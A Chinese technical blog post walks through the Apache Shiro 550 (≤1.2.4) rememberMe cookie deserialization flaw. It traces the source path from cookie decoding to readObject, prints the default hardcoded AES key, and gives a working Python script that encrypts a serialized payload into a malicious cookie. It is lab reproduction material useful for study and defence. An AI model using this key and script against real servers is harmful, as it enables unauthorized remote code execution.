[Java反序列化]—Shiro反序列化(一)

430 阅读2分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第28天,点击查看活动详情

前言

前篇进行了shiro550的IDEA配置,本篇就来通过urldns链来检测shiro550反序列化的存在

漏洞原理

Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞。 那么,Payload产生的过程: 命令=>序列化=>AES加密=>base64编码=>RememberMe Cookie值 在整个漏洞利用过程中,比较重要的是AES加密的密钥,如果没有修改默认的密钥那么就很容易就知道密钥了,Payload构造起来也是十分的简单。

影响版本

Apache Shiro <= 1.2.4

特征

  • 未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

  • 登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

  • 不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

  • 勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

流程分析

看完基本原理应该也不难发现,shiro反序列化主要就是对cookie进行的一系列操作,所以利用点就从Cookie有关的说起:

shiro原生文件中找到了CookieRememberMeManager.java对cookie中的字段进行管理,其中有个rememberSerializedIdentity(),可以对remember认证信息进行序列化

在这里插入图片描述

既然有了对认证信息的操作,就需要获取认证信息找到了getRememberedSerializedIdentity(),主要是对cookie进行base64解密操作

在这里插入图片描述

继续寻找在哪里进行了调用,找到了AbstractRememberMeManager.javagetRememberedPrincipals()

在这里插入图片描述

其中会调用convertBytesToPrincipals(),进行字节和认证信息转换,跟进一下

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

if中进行了decrypt解密操作,最后返回反序列化内容,跟进一下decrypt(),看看具体执行了什么

protected byte[] decrypt(byte[] encrypted) {
    byte[] serialized = encrypted;
    CipherService cipherService = getCipherService();
    if (cipherService != null) {
        ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
        serialized = byteSource.getBytes();
    }
    return serialized;
}

getCipherService(),获取算法再通过decrypt()对通过getDecryptionCipherKey()获取的key进行解密,跟进getDecryptionCipherKey()

public byte[] getDecryptionCipherKey() {
    return decryptionCipherKey;
}

返回了decryptionCipherKey,看下它是在哪里赋的值

在这里插入图片描述

再看哪里调用了setDecryptionCipherKey(),找到了setCipherKey()

在这里插入图片描述

继续向上找最终找到了AbstractRememberMeManager(),而它的DEFAULT_CIPHER_KEY_BYTES是一个固定值

public AbstractRememberMeManager() {
    this.serializer = new DefaultSerializer<PrincipalCollection>();
    this.cipherService = new AesCipherService();
    setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}

至此也就相当于找到了解aes的秘钥,为我们的cookie的构造创造了条件

private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

接着回到convertBytesToPrincipals(),跟进deserialize()

protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
    if (getCipherService() != null) {
        bytes = decrypt(bytes);
    }
    return deserialize(bytes);
}

接着跟进deserialize()

protected PrincipalCollection deserialize(byte[] serializedIdentity) {
    return getSerializer().deserialize(serializedIdentity);
}

在这里插入图片描述

最终就到了readObject执行反序列化

public T deserialize(byte[] serialized) throws SerializationException {
    if (serialized == null) {
        String msg = "argument cannot be null.";
        throw new IllegalArgumentException(msg);
    }
    ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
    BufferedInputStream bis = new BufferedInputStream(bais);
    try {
        ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
        @SuppressWarnings({"unchecked"})
        T deserialized = (T) ois.readObject();
        ois.close();
        return deserialized;
    } catch (Exception e) {
        String msg = "Unable to deserialze argument byte array.";
        throw new SerializationException(msg, e);
    }
}

漏洞复现

用脚本将序列化生成的文件1.txt进行aes加密

import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file(filename):
    with open(filename,'rb') as f:
        data = f.read()
    return data


def aesEncode(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS-len(s)%BS)) * chr(BS-len(s)%BS).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
    return ciphertext
def aesDecode(enc_data):
    enc_data = base64.b64decode(enc_data)
    unpad = lambda s:s[:-s[-1]]
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = enc_data[:16]
    encryptor = AES.new(base64.b64decode(key),mode,iv)
    plaintext = encryptor.decrypt(enc_data[16:])
    plaintext = unpad(plaintext)
    return plaintext 



if __name__ == '__main__':
    data = get_file("1.txt")
    print(aesEncode(data))

在这里插入图片描述

生成后传入cookie中,成功回显

在这里插入图片描述